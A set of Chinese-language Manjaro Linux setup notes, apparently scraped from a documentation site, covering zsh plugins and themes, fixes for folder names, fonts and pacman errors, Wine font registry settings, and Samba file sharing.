${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-autosuggestions # 高亮你的zsh可用命令插件 git clone https://hub.fastgit.org/zsh-users/zsh-syntax-highlighting.git ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting # Better completion for npm git clone https://hub.fastgit.org/lukechilds/zsh-better-npm-completion ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-better-npm-completion ~~~ ### incr 补全插件 让你在zsh 模式下全自动补全指令或目录 官网: http://mimosa-pudica.net/zsh-incremental.html 1. 下载插件 ``` wget https://mimosa-pudica.net/src/incr-0.2.zsh ``` 2. 加载插件 然后是配置 .zshrc 文件: ~~~ ➜  vim ~/.zshrc ~~~ 然后插入一句下面的 shell 脚本: ~~~ source ~/.oh-my-zsh/plugins/incr/incr*.zsh ~~~ 重启之后就就可以愉快的使用 zsh 了~ > [zsh-incr自动补全插件](https://xuanyu.li/2018/04/12/zsh-incr) ## 设置主题 修改配置文件 `vim ~/.zshrc` 中的 ZSH_THEME 来设置使用的风格 ~~~ ZSH_THEME="cypher" ~~~ 系统内置了超级多的themes, 可以进入文夹`~/.oh-my-zsh/themes`中进行查看,自行选择喜欢的,还可以自行配置。 ~~~ cd ~/.oh-my-zsh/themes ls ~~~ ## powerlevel10k ```zsh git clone --depth=1 https://gitee.com/romkatv/powerlevel10k.git ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/powerlevel10k ``` `~/.zshrc` 修改,保存退出: ``` ZSH_THEME="powerlevel10k/powerlevel10k" ``` 打开后自动提示配置,或者配置命令: ``` p10k configure ``` 配置后生成的配置文件:`~/.p10k.zsh` 字体可选: Operator Mono Lig Dank Mono [JetBrains Mono](https://www.jetbrains.com/lp/mono/#how-to-install) > 参考:[powerlevel10k](https://gitee.com/romkatv/powerlevel10k#manual)
';

问题

最后更新于:2022-04-01 22:03:38

[TOC] # 问题 ## [个人文件夹显示中文名实际路径英文名](http://blog.csdn.net/ablo_zhou/article/details/5392987) Xee:setting设置中改成系统改成英文语言即可! ************ 相比于Windows的显示中文,但实际路径是英文,HOME下的中文目录的实际路径也是中文,这样一来在终端输入路径的实际还要切换输入法,相当麻烦,为什么会产生这样的结果? 原来这是freedesktop.org为了方便群众搞的xgd-users-dirs ,在不同的语言下自动创建一些经常用到的目录。xdg-user-dirs-update 这个工具会在系统登录阶段运行,它读取配置文件和用户目录信息,并创建用户本地语言版本的常用目录。设置 到$(XDG_CONFIG_HOME)/user-dirs.dirs (XDG_CONFIG_HOME defaults to ~/.config),以便应用程序读取和使用这些目录。 本文旨在将个人主目录的显示方式改为类似Windows。 1. 我们可以先将目录都改成英文的。 ~~~ export LANG=en_US ~~~ 执行 ~~~ xdg-user-dirs-gtk-update ~~~ 这时会弹出一个配置界面,将所有中文的用户目录切换到英文。选中不再提示,确定。 这时,会删除没有内容的用户目录,但有内容的用户目录会保持。并创建相应的英文目录: Desktop/Download/Templates/Public/Documents/Music/Pictures/Videos 此时,在位置里看到的常用中文目录已经换成英文目录。只需将原中文目录的内容拷贝到相应英文目录,并删除中文目录即可。 然后再执行 ~~~ export LANG=zh_CN.UTF-8 ~~~ 以显示中文。 如果记不住该命令,很简单。注销。在登录界面选英语,进来后该对话框就会弹出来提示你是否切换用户目录了。切换完了注销,再切换成中文界面,但这时 不要切换用户目录了。 2.显示中文,但实际是英文目录 这时,桌面也对应/home/chandlerver5/Desktop,但“位置”里面,“主文件夹”,“桌面”点开都对应英文目录。 理想化的解决方案,是看到的目录是中文,但打开的目录是英文。和Windows操作系统一致。这样免得中英夹杂,影响视觉和心情。 其实这也是可以办到的。 点“位置”->"主文件夹",打开文件浏览器(Nautilus), 在书签菜单,右键选择重命名,注销登陆,弹出提示,选择保留英文名,不再提醒! ## Error: could not open file ... pacman 安装或者删除软件出现:Error: could not open file /var/lib/pacman/local/phpstorm-jre-2017.2.4-1/desc: No such file or directory ~~~ rm -R /var/lib/pacman/local/phpstorm-jre-2017.2.4-1/ ~~~ ***执行这个文件夹删除命令。 ## [netease-cloud-music 运行不显示](https://www.zhihu.com/question/52084770) 是因为网易云音乐的沙盒有Bug。 解决办法: ``` sudo vim /usr/share/applications/netease-cloud-music.desktop ``` 后更改为 ``` Exec = netease-cloud-music %U --no-sandbox ``` # 错误 ## 字体 ### 中文字体显示异常 ``` sudo fc-cache -vf # 刷新字体缓存 ``` > [MacOS like Fonts on Manjaro/Arch Linux](https://aswinmohan.me/posts/better-fonts-on-linux/) > [现在Arch Wiki上修正简体中文显示为异体字形的方法好像行不通了](https://forum.manjaro.org/t/arch-wiki/46784) ## 终端字体 最新的[cairo](https://www.archlinux.org/packages/extra/x86_64/cairo/)更新: ...增加了对终端中颜色表情符号的支持: ~~~ $ yay -Q cairo ~~~ ### 表情字体 测试网址: https://getemoji.com/ https://gitmoji.dev/ > [Manjaro表情字体调教指南](https://guanhuo.link/archives/61) ## Cannot find fakeroot binary 解决方法:因为没安装 fakeroot、binutils 等打包基本工具,所以`sudo pacman -S base-devel`装一下。
';

技巧

最后更新于:2022-04-01 22:03:36

[TOC] # 结束进程 ``` yay -S xkill xkill ``` > [四种强制关闭无反应的进程](https://m.linuxidc.com/Linux/2019-02/156735.htm) # TeamViewer 使用 软件管理安装 TeamViewer; Teamviewer 如果出现 "Not ready, please check connection ... 需要开启服务: ``` sudo teamviewer -daemon enable ``` 然后等待... # 安装`.deb`应用 ``` yay -S debtap sudo debtap -u debtap -q xxx.deb # 静默模式转换安装包 根据提示输入包名随便写 license写GPL sudo pacman -U xxx.pkg.tar.xz # 使用 ``` # 桌面图标 Desktop 文件 有些工具软件并不会生成图标,需要自己创建 Desktop 文件。推荐使用 alacarte 这个工具来生成。如果常用的话,可以拖到左侧 favorites。 # 显示桌面 进入 Settings -> “快捷键”,找到 “Hidden all normal windows”,按自己想要的快捷键修改即可,例如:`Win+D` # 隐藏文件始终显示 1. `CTRL + H` 快捷见显示! 2. 使用以下命令打开 **dconf 系统配置编辑器**: ``` dconf-editor ``` 搜索 `hidden-file`键,进行设置! # Swap 分区 [manjaro配置何时使用swap](https://www.tang520.top/?p=2092) [Manjaro设置交换分区](https://zhuanlan.zhihu.com/p/55613343) # Wine 字体显示 新建文件:`chn_font.reg`: ``` Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\FontLink\SystemLink] "Lucida Sans Unicode"="msyh.ttc" "Microsoft Sans Serif"="msyh.ttc" "MS Sans Serif"="msyh.ttc" "Tahoma"="msyh.ttc" "Tahoma Bold"="msyhbd.ttc" "msyh"="msyh.ttc" "Arial"="msyh.ttc" "Arial Black"="msyh.ttc" ``` 注意请将`msyh.ttc`替换为你系统中的字体文件名,如文泉驿正黑是`wqy-zenhei.ttc`(请在`/usr/share/fonts`及其子文件夹中寻找相应字体文件)。 最后,打开注册表`~/.wine/drive_c/windows/regedit.exe`,导入上面的注册表文件即可。 或者执行命令: ~~~ regedit chn_font.reg ~~~ 中文应该都能完美显示了(包括 Picasa 中文显示为方框、软件安装程序汉字无法显示等问题均可被解决)。 ## 单独调整 WeChat 显示 运行命令: ``` env WINEPREFIX="$HOME/.deepinwine/Deepin-WeChat" winecfg ``` 设置 windows version:windows 7 > [Wine的中文显示与字体设置](http://linux-wiki.cn/wiki/Wine%E7%9A%84%E4%B8%AD%E6%96%87%E6%98%BE%E7%A4%BA%E4%B8%8E%E5%AD%97%E4%BD%93%E8%AE%BE%E7%BD%AE) > [Ubuntu下给Wine设置微软雅黑字体(4步操作)](https://juejin.im/entry/6844903917742981128) # Manjaro 中文字体 拷贝 mac 上的字体 到 Mnajaro 中的 `/usr/share/fonts` [manjaro中文字体安装与设置](https://www.jianshu.com/p/26fa3a803439) > https://eonun.com/posts/eb298cff/ > https://printempw.github.io/setting-up-manjaro-linux/
';

共享文件

最后更新于:2022-04-01 22:03:34

[TOC] # Manjaro 配置Samba 共享文件夹 ## Dolphin - KDE/plasma ``` yay -S samba kdenetwork-filesharing manjaro-settings-samba ``` ## Nautilus ``` yay -S nautilus-share manjaro-settings-samba ``` 编辑 `/etc/samba/smb.conf`配置文件,按照格式最后添加: ``` ... [m_sharee] comment = MShare Directories path = /home/{username}/m_share browseable = yes read only = no create mask = 0700 directory mask = 0700 ``` `read only` 属性设置为`no` 是为了有写入文件权限。 添加分享用户并设置密码 ```shell gpasswd sambashare -a username smbpasswd -a username ``` 启用smaba 服务 ```shell systemctl enable smb nmb systemctl start smb nmb ``` 在其他设备上,添加*服务器*,输入该本地 ip 地址,然后输入所授权的用户密码登录,即可~ # 参考 https://blog.csdn.net/aaa111/article/details/82774860 [Using Samba in your File Manager](https://wiki.manjaro.org/index.php?title=Using_Samba_in_your_File_Manager)
';